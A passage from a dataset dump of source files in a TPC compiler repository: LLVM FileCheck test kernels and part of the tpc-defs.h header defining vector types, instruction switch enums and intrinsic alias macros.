dest2, int dest3, int dest4)\n{\n\n uint64 __local *ptr_x0 = (uint64 __local *)x0;\n uint64 __local *ptr_x1 = (uint64 __local *)x2;\n\n\n float64 __local *res0 = (float64 __local *)dest0;\n float64 __local *res1 = (float64 __local *)dest1;\n float64 __local *res2 = (float64 __local *)dest2;\n float64 __local *res3 = (float64 __local *)dest3;\n float64 __local *res4 = (float64 __local *)dest4;\n\n\n\n float64 temp_res0 = 0;\n float64 temp_res1 = 0;\n float64 temp_res2 = 0;\n float64 temp_res3 = 0;\n float64 temp_res4 = 0;\n\n\n temp_res0 = v_f32_lookup_c0_v_b(*ptr_x0, temp_res0, 1, e_fp32_pow2, x3, 0);\n temp_res1 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_fp32_pow2, x3, 0);\n temp_res2 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_i16_tanh, x3, 0);\n temp_res3 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_i16_sigmoid, x3, 0);\n temp_res4 = v_f32_lookup_c0_v_b(*ptr_x1, temp_res0, 1, e_i16_exp_nep, x3, 0);\n\n\n *res0 = temp_res0;\n *res1 = temp_res1;\n *res2 = temp_res2;\n *res3 = temp_res3;\n *res4 = temp_res4;\n\n}\n\n//CHECK-NOT: Performance warning: number of requested special function IDs exceeds LUT cache capacity for the Goya architecture, this will cause LUT misses. The cache can hold 1 special function with 256 intervals or 2 special functions, each with 128 intervals or 4 special functions, each with 64 intervals.\n\n" }, { "alpha_fraction": 0.5722222328186035, "alphanum_fraction": 0.6555555462837219, "avg_line_length": 29, "blob_id": "2ac51bf498cb7c0fe37a69ecbc64b49bb2fb5670", "content_id": "8908dbf8d7d4a5db0f2942f23a14ef01b68f61c5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 180, "license_type": "permissive", "max_line_length": 65, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(float128 x=4);\n\n// CHECK: line 3 error: Invalid default argument of parameter 'x'\n// CHECK: > int func_01(float128 x=4);\n" }, { "alpha_fraction": 0.47816091775894165, "alphanum_fraction": 0.5643678307533264, "avg_line_length": 47.33333206176758, "blob_id": "ee91db8e82b0784f0db969354671466c2aaef0f9", "content_id": "3db1b16783498297c7e6bca0b3440711dfce36ea", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 870, "license_type": "permissive", "max_line_length": 108, "num_lines": 18, "path": "/clang/test/RC99/CodeGen/bool256-xor.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int src1, int src2, int dest) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 __local *ptr1 = (bool256 __local*)src1;\n bool256 __local *ptr2 = (bool256 __local*)src2;\n bool256 x1 = *ptr1;\n bool256 x2 = *ptr2;\n *dptr = x1 ^ x2;\n}\n\n// CHECK-DAG: ld_l_v {{%VP[0-9]+}}, %S0,{{.*}} %SP0\n// CHECK-DAG: ld_l_v {{%VP[0-9]+}}, %S1,{{.*}} %SP0\n// CHECK: xor.b [[VPR3:%VP[0-9]+]], {{%VP[0-9]+}}, {{%VP[0-9]+}}, %SP0\n// CHECK: st_l_v %S2,{{.*}} [[VPR3]], %SP0\n" }, { "alpha_fraction": 0.43027666211128235, "alphanum_fraction": 0.5063228011131287, "avg_line_length": 69.23414611816406, "blob_id": "132502a540a59cbd6114ef72ea348211c1a847c8", "content_id": "95c962e947d4c473d46d0af0d566c3dbb91a6d9a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 510532, "license_type": "permissive", "max_line_length": 182, "num_lines": 7269, "path": "/clang/lib/Headers/tpc-defs.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- tpc-defs.h --------------------------------------------*- \tC++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// tpc-defs.h\n//\n// This file contains definitions vital for TPC C/C++ compiler (the compiler\n// crashes without them). Any code definitions that must be available without\n// inclusion of any header file, but is not necessary for compiler functioning,\n// should be placed into 'tpc-special.h'.\n//------------------------------------------------------------------------------\n\n#ifndef TPC_DEFS_H_INCLUDED\n#define TPC_DEFS_H_INCLUDED\n\n// Standard vector types\ntypedef unsigned char __attribute__((ext_vector_type(32)))\n __attribute__((aligned(256))) bool256;\ntypedef unsigned char __attribute__((ext_vector_type(16)))\n __attribute__((aligned(256))) bool128;\ntypedef unsigned char __attribute__((ext_vector_type(8)))\n __attribute__((aligned(256))) bool64;\n\ntypedef float __attribute__((ext_vector_type(64))) float64;\ntypedef int __attribute__((ext_vector_type(64))) int64;\ntypedef unsigned int __attribute__((ext_vector_type(64))) uint64;\ntypedef short __attribute__((ext_vector_type(128))) short128;\ntypedef unsigned short __attribute__((ext_vector_type(128))) ushort128;\ntypedef char __attribute__((ext_vector_type(256))) char256;\ntypedef unsigned char __attribute__((ext_vector_type(256))) uchar256;\ntypedef int __attribute__((ext_vector_type(5))) int5;\n#if defined(__gaudi__)\ntypedef _BFloat16 bf16;\ntypedef _BFloat16 bfloat;\ntypedef _BFloat16 __attribute__((ext_vector_type(128))) bfloat128;\n#endif\n\n// OpenCL v1.1/1.2/2.0 s6.2.4.2 - as_type operators\n// Reinterprets a data type as another data type of the same size\n\n#define as_char(x) __builtin_astype((x), char)\n#define as_char256(x) __builtin_astype((x), char256)\n\n#define as_uchar(x) __builtin_astype((x), unsigned char)\n#define as_uchar256(x) __builtin_astype((x), uchar256)\n\n#define as_short(x) __builtin_astype((x), short)\n#define as_short128(x) __builtin_astype((x), short128)\n\n#define as_ushort(x) __builtin_astype((x), unsigned short)\n#define as_ushort128(x) __builtin_astype((x), ushort128)\n\n#define as_int(x) __builtin_astype((x), int)\n#define as_int64(x) __builtin_astype((x), int64)\n\n#define as_uint(x) __builtin_astype((x), unsigned int)\n#define as_uint64(x) __builtin_astype((x), uint64)\n\n#define as_float(x) __builtin_astype((x), float)\n#define as_float64(x) __builtin_astype((x), float64)\n\n#if defined(__gaudi__)\n#define as_bf16(x) __builtin_astype((x), bf16)\n#define as_bfloat(x) __builtin_astype((x), bfloat)\n#define as_bfloat128(x) __builtin_astype((x), bfloat128)\n#endif\n\n// Structures mapped to registers\n\n// float\ntypedef struct _float64_pair_t {\n float64 v1;\n float64 v2;\n} float64_pair_t;\ntypedef struct _float64_pair_t float64_float64_pair_t;\ntypedef struct _float64_pair_t float128;\n\ntypedef struct _float256 {\n float64 v1;\n float64 v2;\n float64 v3;\n float64 v4;\n} float256;\n\ntypedef struct _float64_int64_pair_t {\n float64 v1;\n int64 v2;\n} float64_int64_pair_t;\n\ntypedef struct _float64_uint64_pair_t {\n float64 v1;\n uint64 v2;\n} float64_uint64_pair_t;\n\n\n// int\ntypedef struct _int64_float64_pair_t {\n int64 v1;\n float64 v2;\n} int64_float64_pair_t;\n\ntypedef struct _int64_pair_t {\n int64 v1;\n int64 v2;\n} int64_pair_t;\ntypedef struct _int64_pair_t int64_int64_pair_t;\ntypedef struct _int64_pair_t int128;\n\ntypedef struct _int64_uint64_pair_t {\n int64 v1;\n uint64 v2;\n} int64_uint64_pair_t;\n\n\n// uint\ntypedef struct _uint64_float64_pair_t {\n uint64 v1;\n float64 v2;\n} uint64_float64_pair_t;\n\ntypedef struct _uint64_int64_pair_t {\n uint64 v1;\n int64 v2;\n} uint64_int64_pair_t;\n\ntypedef struct _uint64_pair_t {\n uint64 v1;\n uint64 v2;\n} uint64_pair_t;\ntypedef struct _uint64_pair_t uint64_uint64_pair_t;\ntypedef struct _uint64_pair_t uint128;\n\n#if defined(__gaudi__)\n// _BFloat16\ntypedef struct _bfloat128_pair_t {\n bfloat128 v1;\n bfloat128 v2;\n} bfloat128_pair_t;\ntypedef struct _bfloat128_pair_t bfloat128_bfloat128_pair_t;\ntypedef struct _bfloat128_pair_t bfloat256;\n\ntypedef struct _bfloat128_short128_pair_t {\n bfloat128 v1;\n short128 v2;\n} bfloat128_short128_pair_t;\n\ntypedef struct _bfloat128_ushort128_pair_t {\n bfloat128 v1;\n ushort128 v2;\n} bfloat128_ushort128_pair_t;\n#endif\n\ntypedef struct _short128_pair_t {\n short128 v1;\n short128 v2;\n} short128_pair_t;\ntypedef struct _short128_pair_t short128_short128_pair_t;\ntypedef struct _short128_pair_t short256;\n\ntypedef struct _short128_ushort128_pair_t {\n short128 v1;\n ushort128 v2;\n} short128_ushort128_pair_t;\n\n\n// short/ushort\n#if defined(__gaudi__)\ntypedef struct _short128_bfloat128_pair_t {\n short128 v1;\n bfloat128 v2;\n} short128_bfloat128_pair_t;\n\ntypedef struct _ushort128_bfloat128_pair_t {\n ushort128 v1;\n bfloat128 v2;\n} ushort128_bfloat128_pair_t;\n#endif\n\ntypedef struct _ushort128_short128_pair_t {\n ushort128 v1;\n short128 v2;\n} ushort128_short128_pair_t;\n\ntypedef struct _ushort128_pair_t {\n ushort128 v1;\n ushort128 v2;\n} ushort128_pair_t;\ntypedef struct _ushort128_pair_t ushort128_ushort128_pair_t;\ntypedef struct _ushort128_pair_t ushort256;\n\n\n// char\ntypedef struct _char256_pair_t {\n char256 v1;\n char256 v2;\n} char256_pair_t;\ntypedef struct _char256_pair_t char256_char256_pair_t;\ntypedef struct _char256_pair_t char512;\n\ntypedef struct _char256_uchar256_pair_t {\n char256 v1;\n uchar256 v2;\n} char256_uchar256_pair_t;\n\n// uchar\ntypedef struct _uchar256_char256_pair_t {\n uchar256 v1;\n char256 v2;\n} uchar256_char256_pair_t;\n\ntypedef struct _uchar256_pair_t {\n uchar256 v1;\n uchar256 v2;\n} uchar256_pair_t;\ntypedef struct _uchar256_pair_t uchar256_uchar256_pair_t;\ntypedef struct _uchar256_pair_t uchar512;\n\ntypedef struct _uint32_t_pair_t {\n unsigned int v1;\n unsigned int v2;\n} uint32_t_pair_t;\n\ntypedef struct _uint16_t_pair_t {\n unsigned int v1;\n unsigned int v2;\n} uint16_t_pair_t;\n\ntypedef struct _uint8_t_pair_t {\n unsigned int v1;\n unsigned int v2;\n} uint8_t_pair_t;\n\n\ntypedef struct _int32_t_pair_t {\n int v1;\n int v2;\n} int32_t_pair_t;\n\ntypedef struct _int256 {\n int64 v1;\n int64 v2;\n int64 v3;\n int64 v4;\n} int256;\n\ntypedef struct _uint256 {\n uint64 v1;\n uint64 v2;\n uint64 v3;\n uint64 v4;\n} uint256;\n\n// Address space specifiers\n#define __local__ __local\n#define __global__ __global\n\n\n// Internal functions.\nvoid static inline __attribute__((always_inline)) __initialize();\n\n// It would be nice to remove this definition some day.\ntypedef int tensor;\n\n\n// Preloaded registers\n#define LFSR read_lfsr()\n#define LFSR_NO_CHANGE read_lfsrnc()\n#define S_LFSR s_read_lfsr()\n#define S_LFSR_NO_CHANGE s_read_lfsrnc()\n#ifdef __cplusplus\nregister uint64 V_LANE_ID_32 __asm__(\"v_lane_id_32\");\nregister ushort128 V_LANE_ID_16 __asm__(\"v_lane_id_16\");\nregister uchar256 V_LANE_ID_8 __asm__(\"v_lane_id_8\");\n#else\nregister const uint64 V_LANE_ID_32 __asm__(\"v_lane_id_32\");\nregister const ushort128 V_LANE_ID_16 __asm__(\"v_lane_id_16\");\nregister const uchar256 V_LANE_ID_8 __asm__(\"v_lane_id_8\");\n#endif\n\n\n#ifndef NO_TPC_PRINTF\n// Index needed for printf intrinsic.\nregister int5 __PrintfTensorIndex __asm__(\"i2\");\n#endif\n\n// Instruction switches\nenum {\n // ABS\n SW_NO_SAT = 0x1 << 0,\n // ADD\n SW_SAT = 0x1 << 0,\n SW_CARRY = 0x1 << 1,\n SW_NO_CARRY_GEN = 0x1 << 2,\n // ASH\n /* SW_SAT - see previous definition */\n SW_RHU = 0x1 << 1,\n // ASO / EVENT\n SW_INC = 0x0 << 0,\n SW_DEC = 0x1 << 0,\n SW_SPU = 0x0 << 1,\n SW_VPU = 0x1 << 1,\n // CACHE_INVALIDATE\n SW_SB = 0x1 << 0,\n SW_D = 0x1 << 1,\n SW_LU = 0x1 << 2,\n SW_RST_LU = 0x1 << 3,\n SW_RST_D_PREF = 0x1 << 4,\n // CALC_FP_SPECIAL\n SW_RECIP = 0x0 << 0,\n SW_RSQRT = 0x1 << 0,\n SW_SQRT = 0x2 << 0,\n SW_LOG = 0x3 << 0,\n SW_EXP = 0x4 << 0,\n SW_TANH = 0x5 << 0,\n SW_DIV = 0x6 << 0,\n SW_POW = 0x7 << 0,\n // CMP_EQ / SEL_EQ\n SW_MASK_EQ_ZERO = 0x1 << 0,\n // CONVERT\n // CONVERT_INT32 / CONVERT_UINT32\n // CONVERT_INT16 / CONVERT_UINT16\n // CONVERT_INT8 / CONVERT_UINT8\n // NEARBYINT\n SW_RHNE = 0x0 << (0 + 16),\n SW_RZ = 0x1 << (0 + 16),\n SW_RU = 0x2 << (0 + 16),\n SW_RD = 0x3 << (0 + 16),\n SW_SR = 0x4 << (0 + 16),\n SW_CSR = 0x5 << (0 + 16),\n SW_RHAZ = 0x6 << (0 + 16),\n SW_SR_RNE = 0x7 << (0 + 16),\n SW_CLIP_FP = 0x1 << (4 + 16),\n // GEN_ADDR\n SW_DT_INT8 = 0x0 << 0,\n SW_DT_INT16 = 0x1 << 0,\n SW_DT_INT32 = 0x2 << 0,\n SW_DT_UINT8 = 0x3 << 0,\n SW_DT_UINT16 = 0x4 << 0,\n SW_DT_UINT32 = 0x5 << 0,\n SW_DT_BF16 = 0x6 << 0,\n SW_DT_FP32 = 0x7 << 0,\n SW_DT_FP16 = 0x8 << 0,\n SW_DT_OVERRIDE = 0x1 << 4,\n // EXTRACT_EXP\n SW_BIASED = 0x1 << 0,\n // FIND_FIRST\n SW_FIND_ZERO = 0x0 << 0,\n SW_FIND_ONE = 0x1 << 0,\n SW_LSB = 0x0 << 1,\n SW_MSB = 0x1 << 1,\n // FORM_FP_NUMBER\n SW_ADD_BIAS = 0x1 << (0 + 8),\n SW_FORCE_SIGN0 = 0x1 << (1 + 8),\n SW_FORCE_SIGN1 = 0x1 << (2 + 8),\n SW_EXP_IS_NUM = 0x1 << (3 + 8),\n SW_SIGN_LSB = 0x1 << (4 + 8),\n SW_PRE_SQRT_RSQRT = (0x1 << (5 + 8)) | SW_FORCE_SIGN0,\n SW_POST_SQRT = (0x2 << (5 + 8)) | SW_FORCE_SIGN0,\n SW_POST_RSQRT = (0x3 << (5 + 8)) | SW_FORCE_SIGN0,\n SW_POST_RECIP = (0x4 << (5 + 8)) | SW_ADD_BIAS,\n // GET_LUT_ENTRY_AND_INTERVAL_START\n SW_LUT_TANH = 0x1 << (5 + 8),\n SW_LUT_SQRT_RSQRT = 0x2 << (5 + 8),\n SW_LUT_SIN_COS = 0x3 << (5 + 8),\n SW_LUT_LOG = 0x4 << (5 + 8),\n // LD_L / ST_L\n SW_MMIO = 0x1 << 0,\n SW_LOCK = 0x1 << 1,\n SW_UNLOCK = 0x1 << 1,\n // LD_L_V / ST_L_V\n SW_AUTO_INC_1_V = 0x1 << 0,\n SW_AUTO_INC_2_V = 0x2 << 0,\n SW_AUTO_INC_4_V = 0x3 << 0,\n // LD_G / ST_G\n SW_INC_1 = 0x1,\n SW_INC_2 = 0x2,\n SW_INC_4 = 0x3,\n SW_INC_8 = 0x4,\n\n SW_BV64 = 0x1 << 4,\n SW_L0CD = 0x1 << 5,\n SW_EV_HINT = 0x1 << 6,\n SW_PD = 0x1 << (7 + 8),\n // LD_TNSR\n SW_UNPCK_16_TO_32 = 0x0 << 1,\n SW_UNPCK_8_TO_16 = 0x1 << 1,\n SW_UNPCK_8_TO_32 = 0x2 << 1,\n SW_UNPCK_4_TO_8 = 0x3 << 1,\n SW_UNPACK = 0x1 << 4,\n /* SW_L0CD - see previous definition */\n // LOOKUP\n SW_BV32 = 0x0 << 0,\n SW_BV16 = 0x1 << 0,\n #if defined(__goya__)\n SW_BV16_LOW = 0x2 << 0,\n SW_BV16_HIGH = 0x3 << 0,\n SW_BV8_0 = 0x4 << 0,\n SW_BV8_1 = 0x5 << 0,\n SW_BV8_2 = 0x6 << 0,\n SW_BV8_3 = 0x7 << 0,\n #else\n SW_BV8_0 = 0x2 << 0,\n SW_BV8_1 = 0x3 << 0,\n #endif\n SW_UPPER_HALF = 0x1 << 2,\n SW_LUT_PTR = 0x1 << 3,\n SW_X2 = 0x1 << 4,\n SW_SBCD = 0x1 << 5,\n // MAC / MADD\n /* SW_SAT - see previous definition */\n SW_NEG = 0x1 << 1,\n SW_NEG_ZP = 0x1 << 6,\n // MOV_DUAL_GROUP\n SW_WR_LOWER_GROUP = 0x1 << (4 + 8),\n SW_WR_UPPER_GROUP = 0x1 << (5 + 8),\n SW_WR_LOWER_GROUP0 = 0x1 << (0 + 16),\n SW_WR_UPPER_GROUP0 = 0x1 << (1 + 16),\n SW_WR_LOWER_GROUP1 = 0x1 << (2 + 16),\n SW_WR_UPPER_GROUP1 = 0x1 << (3 + 16),\n SW_WR_LOWER_GROUP2 = 0x1 << (4 + 16),\n SW_WR_UPPER_GROUP2 = 0x1 << (5 + 16),\n SW_WR_LOWER_GROUP3 = 0x1 << (6 + 16),\n SW_WR_UPPER_GROUP3 = 0x1 << (7 + 16),\n SW_PACK21 = 0x0 << 2,\n SW_PACK41 = 0x1 << 2,\n SW_UNPACK_EVEN_LANES = 0x0 << 2,\n SW_UNPACK_ODD_LANES = 0x1 << 2,\n // MOV_GROUP\n SW_GROUP0_EN = 0x1 << 0,\n SW_GROUP1_EN = 0x1 << 1,\n SW_DUAL_GROUP0_EN = 0x1 << 2,\n SW_DUAL_GROUP1_EN = 0x1 << 3,\n SW_DUAL_GROUP2_EN = 0x1 << 4,\n SW_DUAL_GROUP3_EN = 0x1 << 5,\n // MSAC\n /* SW_RHU - see previous definition */\n SW_NORMALIZE_AB = 0x0 << 2,\n SW_NORMALIZE_C = 0x1 << 2,\n // MUL\n SW_KEEP_RS = 0x2 << 0,\n SW_KEEP_RS_FOR_ADD = 0x3 << 0,\n SW_UPPER32 = 0x1 << 2,\n // PACK\n SW_GROUP_0 = 0x0 << (0 + 8),\n SW_GROUP_1 = 0x1 << (0 + 8),\n SW_STRIDE_2 = 0x0 << (1 + 8),\n SW_STRIDE_4 = 0x1 << (1 + 8),\n // POPCNT\n SW_COUNT_ZEROS = 0x0 << 0,\n SW_COUNT_ONES = 0x1 << 0,\n // ST_TNSR_S\n SW_ST_TNSR_S_BV64 = 0x1 << 2,\n // ST_TNSR\n SW_PACK = 0x1 << 2,\n SW_PCK_32_TO_16 = 0x0 << 4,\n SW_PCK_16_TO_8 = 0x1 << 4,\n SW_PCK_32_TO_8 = 0x2 << 4,\n SW_PCK_8_TO_4 = 0x3 << 4,\n // RMW_SEL\n RMW_DT_INT16 = 0x1 << 0,\n RMW_DT_INT32 = 0x2 << 0,\n RMW_DT_INT8 = 0x0 << 0,\n RMW_DT_UINT8 = 0x3 << 0,\n RMW_DT_UINT16 = 0x4 << 0,\n RMW_DT_UINT32 = 0x5 << 0,\n RMW_DT_BF16 = 0x6 << 0,\n RMW_DT_FP32 = 0x7 << 0,\n RMW_DT_FP16 = 0x8 << 0,\n RMW_DT_FP8_152 = 0x9 << 0,\n RMW_OP_ADD = 0x0 << 4,\n RMW_OP_SUB = 0x1 << 4,\n RMW_OP_MIN = 0x2 << 4,\n RMW_OP_MAX = 0x3 << 4,\n RMW_OP_MAX_0_ADD = 0x4 << 4,\n RMW_TNSR_DT = 0x1 << 7,\n RMW_SET = 0x1 << 6,\n // SUB\n /* SW_SAT - see previous definition */\n /* SW_NEG - see previous definition */\n SW_NO_BORROW_GEN = 0x1 << 2,\n SW_BORROW = 0x1 << 3,\n // UNPACK\n /* SW_GROUP_0 - see previous definition */\n /* SW_GROUP_1 - see previous definition */\n /* SW_STRIDE_2 - see previous definition */\n /* SW_STRIDE_4 - see previous definition */\n SW_GROUP_HALF_0 = 0x0 << (2 + 8),\n SW_GROUP_HALF_1 = 0x1 << (2 + 8),\n SW_UNPACK_LANE_0 = 0x0 << (3 + 8),\n SW_UNPACK_LANE_1 = 0x1 << (3 + 8),\n SW_UNPACK_LANE_2 = 0x2 << (3 + 8),\n SW_UNPACK_LANE_3 = 0x3 << (3 + 8),\n // UDIV_4STEP\n SW_X2_UDIV_4STEP = 0x1 << 6,\n // UDIV\n SW_DIV_MODE_DIV = 0x0 << 0,\n SW_DIV_MODE_MOD = 0x1 << 0,\n SW_DIV_MODE_BOTH = 0x2 << 0,\n\n};\n\n// Instruction switches. Must agree with definitions in 'lib/Target/TPC/Utils/InstructionDB.h'.\nenum {\n SW_GROUP_HALF = 1U << 10,\n SW_SUBTRACT_BIAS = 1U << 0,\n SW_GROUP_RND32 = 0x03,\n SW_NO_ROUND = 0,\n SW_PACK_DT = 0x03 << 4,\n SW_GROUP_SOURCE = 1 << 8,\n SW_ELEMENT_STRIDE = 1 << 9,\n SW_LANE_0 = 0,\n SW_LANE_1 = 0x1,\n SW_LANE_2 = 0x2,\n SW_LANE_3 = 0x3,\n SW_LD_G_PARTIAL = 1 << 7,\n SW_NUM_LANES_SRCB = 1U << 6,\n SW_ALL_LANES_SRCB = 0,\n SW_SINGLE_LANE_SRCB = SW_NUM_LANES_SRCB,\n};\n\n// Data types.\nenum {\n SW_TYPE = 0x0f,\n SW_FP32 = 0,\n SW_BF16 = 1,\n SW_INT32 = 2,\n SW_UINT32 = 3,\n SW_INT8 = 4,\n SW_UINT8 = 5,\n SW_BOOL = 6,\n SW_INT16 = 7,\n SW_UINT16 = 8\n};\n\n// Intrinsic aliases for backword compatibility.\n#if !defined(NO_TPC_INTRINSICS_ALIASES)\n\n// Load slot.\n\n#define a_gen_addr_i(i, t) gen_addr(i, t, 0, 0, 1, 0)\n\n#define i_prmt_indx_i_s_b(c, t, i, p, o) prmt_indx(c, t, 0, i, p, o)\n#define i_prmt_indx_i_s(c, t) i_prmt_indx_i_s_b(c, t, 0, 1, 0)\n\n#define i_i32_set_indx_s_b(v, n, m, p, o) set_indx(v, n, m, 0, p, o)\n#define i_i32_set_indx_s(v, n, m) i_i32_set_indx_s_b(v, n, m, 1, 0)\n\n\n#define s_f32_ld_l_s_b(a, i, s, p, o) s_f32_ld_l(a, s, i, p, o)\n#define s_bf16_ld_l_s_b(a, i, s, p, o) s_bf16_ld_l(a, s, i, p, o)\n#define s_i32_ld_l_s_b(a, i, s, p, o) s_i32_ld_l(a, s, i, p, o)\n#define s_u32_ld_l_s_b(a, i, s, p, o) s_u32_ld_l(a, s, i, p, o)\n#define s_i16_ld_l_s_b(a, i, s, p, o) s_i16_ld_l(a, s, i, p, o)\n#define s_u16_ld_l_s_b(a, i, s, p, o) s_u16_ld_l(a, s, i, p, o)\n#define s_i8_ld_l_s_b(a, i, s, p, o) s_i8_ld_l(a, s, i, p, o)\n#define s_u8_ld_l_s_b(a, i, s, p, o) s_u8_ld_l(a, s, i, p, o)\n#define s_u8_ld_l_s_b(a, i, s, p, o) s_u8_ld_l(a, s, i, p, o)\n#define b_b_ld_l_s_b(a, i, s, p, o) s_i1_ld_l(a, s, i, p, o)\n\n#define s_f32_ld_l_s(a, s) s_f32_ld_l_s_b(a, 0, s, 1, 0)\n#define s_bf16_ld_l_s(a, s) s_bf16_ld_l_s_b(a, 0, s, 1, 0)\n#define s_i32_ld_l_s(a, s) s_i32_ld_l_s_b(a, 0, s, 1, 0)\n#define s_u32_ld_l_s(a, s) s_u32_ld_l_s_b(a, 0, s, 1, 0)\n#define s_i16_ld_l_s(a, s) s_i16_ld_l_s_b(a, 0, s, 1, 0)\n#define s_u16_ld_l_s(a, s) s_u16_ld_l_s_b(a, 0, s, 1, 0)\n#define s_i8_ld_l_s(a, s) s_i8_ld_l_s_b(a, 0, s, 1, 0)\n#define s_u8_ld_l_s(a, s) s_u8_ld_l_s_b(a, 0, s, 1, 0)\n#define b_b_ld_l_s(a, s) b_b_ld_l_s_b(a, 0, s, 1, 0)\n\n\n#define s_f32_ld_g_a_b(a, i, p, o) s_f32_ld_g(a, 0, i, p, o)\n#define s_bf16_ld_g_a_b(a, i, p, o) s_bf16_ld_g(a, 0, i, p, o)\n#define s_i32_ld_g_a_b(a, i, p, o) s_i32_ld_g(a, 0, i, p, o)\n#define s_u32_ld_g_a_b(a, i, p, o) s_u32_ld_g(a, 0, i, p, o)\n#define s_i16_ld_g_a_b(a, i, p, o) s_i16_ld_g(a, 0, i, p, o)\n#define s_u16_ld_g_a_b(a, i, p, o) s_u16_ld_g(a, 0, i, p, o)\n#define s_i8_ld_g_a_b(a, i, p, o) s_i8_ld_g(a, 0, i, p, o)\n#define s_u8_ld_g_a_b(a, i, p, o) s_u8_ld_g(a, 0, i, p, o)\n#define b_b_ld_g_a_b(a, i, p, o) s_i1_ld_g(a, 0, i, p, o)\n\n#define v_f32_ld_g_a_b(a, i, p, o) v_f32_ld_g(a, 0, i, p, o)\n#define v_bf16_ld_g_a_b(a, i, p, o) v_bf16_ld_g(a, 0, i, p, o)\n#define v_i32_ld_g_a_b(a, i, p, o) v_i32_ld_g(a, 0, i, p, o)\n#define v_u32_ld_g_a_b(a, i, p, o) v_u32_ld_g(a, 0, i, p, o)\n#define v_i16_ld_g_a_b(a, i, p, o) v_i16_ld_g(a, 0, i, p, o)\n#define v_u16_ld_g_a_b(a, i, p, o) v_u16_ld_g(a, 0, i, p, o)\n#define v_i8_ld_g_a_b(a, i, p, o) v_i8_ld_g(a, 0, i, p, o)\n#define v_u8_ld_g_a_b(a, i, p, o) v_u8_ld_g(a, 0, i, p, o)\n\n#define s_f32_ld_g_a(a) s_f32_ld_g_a_b(a, 0, 1, 0)\n#define s_bf16_ld_g_a(a) s_bf16_ld_g_a_b(a, 0, 1, 0)\n#define s_i32_ld_g_a(a) s_i32_ld_g_a_b(a, 0, 1, 0)\n#define s_u32_ld_g_a(a) s_u32_ld_g_a_b(a, 0, 1, 0)\n#define s_i16_ld_g_a(a) s_i16_ld_g_a_b(a, 0, 1, 0)\n#define s_u16_ld_g_a(a) s_u16_ld_g_a_b(a, 0, 1, 0)\n#define s_i8_ld_g_a(a) s_i8_ld_g_a_b(a, 0, 1, 0)\n#define s_u8_ld_g_a(a) s_u8_ld_g_a_b(a, 0, 1, 0)\n#define b_b_ld_g_a(a) b_b_ld_g_a_b(a, 0, 1, 0)\n\n#define v_f32_ld_g_a(a) v_f32_ld_g_a_b(a, 0, 1, 0)\n#define v_bf16_ld_g_a(a) v_bf16_ld_g_a_b(a, 0, 1, 0)\n#define v_i32_ld_g_a(a) v_i32_ld_g_a_b(a, 0, 1, 0)\n#define v_u32_ld_g_a(a) v_u32_ld_g_a_b(a, 0, 1, 0)\n#define v_i16_ld_g_a(a) v_i16_ld_g_a_b(a, 0, 1, 0)\n#define v_u16_ld_g_a(a) v_u16_ld_g_a_b(a, 0, 1, 0)\n#define v_i8_ld_g_a(a) v_i8_ld_g_a_b(a, 0, 1, 0)\n#define v_u8_ld_g_a(a) v_u8_ld_g_a_b(a, 0, 1, 0)\n\n\n#define v_f32_ld_l_v_s_vb(a, i, p, o) v_f32_ld_l_v_vb(a, 0, i, to_bool64(p), o)\n#define v_bf16_ld_l_v_s_vb(a, i, p, o) v_bf16_ld_l_v_vb(a, 0, i, to_bool128(p), o)\n#define v_i32_ld_l_v_s_vb(a, i, p, o) v_i32_ld_l_v_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_ld_l_v_s_vb(a, i, p, o) v_u32_ld_l_v_vb(a, 0, i, to_bool64(p), o)\n#define v_i16_ld_l_v_s_vb(a, i, p, o) v_i16_ld_l_v_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_ld_l_v_s_vb(a, i, p, o) v_u16_ld_l_v_vb(a, 0, i, to_bool128(p), o)\n#define v_i8_ld_l_v_s_vb(a, i, p, o) v_i8_ld_l_v_vb(a, 0, i, p, o)\n#define v_u8_ld_l_v_s_vb(a, i, p, o) v_u8_ld_l_v_vb(a, 0, i, p, o)\n#define bv_ld_l_v_s_vb(a, i, p, o) v_i1_ld_l_v_vb(a, 0, i, p, o)\n\n#define v_f32_ld_l_v_s_b(a, i, p, o) v_f32_ld_l_v_b(a, 0, i, p, o)\n#define v_bf16_ld_l_v_s_b(a, i, p, o) v_bf16_ld_l_v_b(a, 0, i, p, o)\n#define v_i32_ld_l_v_s_b(a, i, p, o) v_i32_ld_l_v_b(a, 0, i, p, o)\n#define v_u32_ld_l_v_s_b(a, i, p, o) v_u32_ld_l_v_b(a, 0, i, p, o)\n#define v_i16_ld_l_v_s_b(a, i, p, o) v_i16_ld_l_v_b(a, 0, i, p, o)\n#define v_u16_ld_l_v_s_b(a, i, p, o) v_u16_ld_l_v_b(a, 0, i, p, o)\n#define v_i8_ld_l_v_s_b(a, i, p, o) v_i8_ld_l_v_b(a, 0, 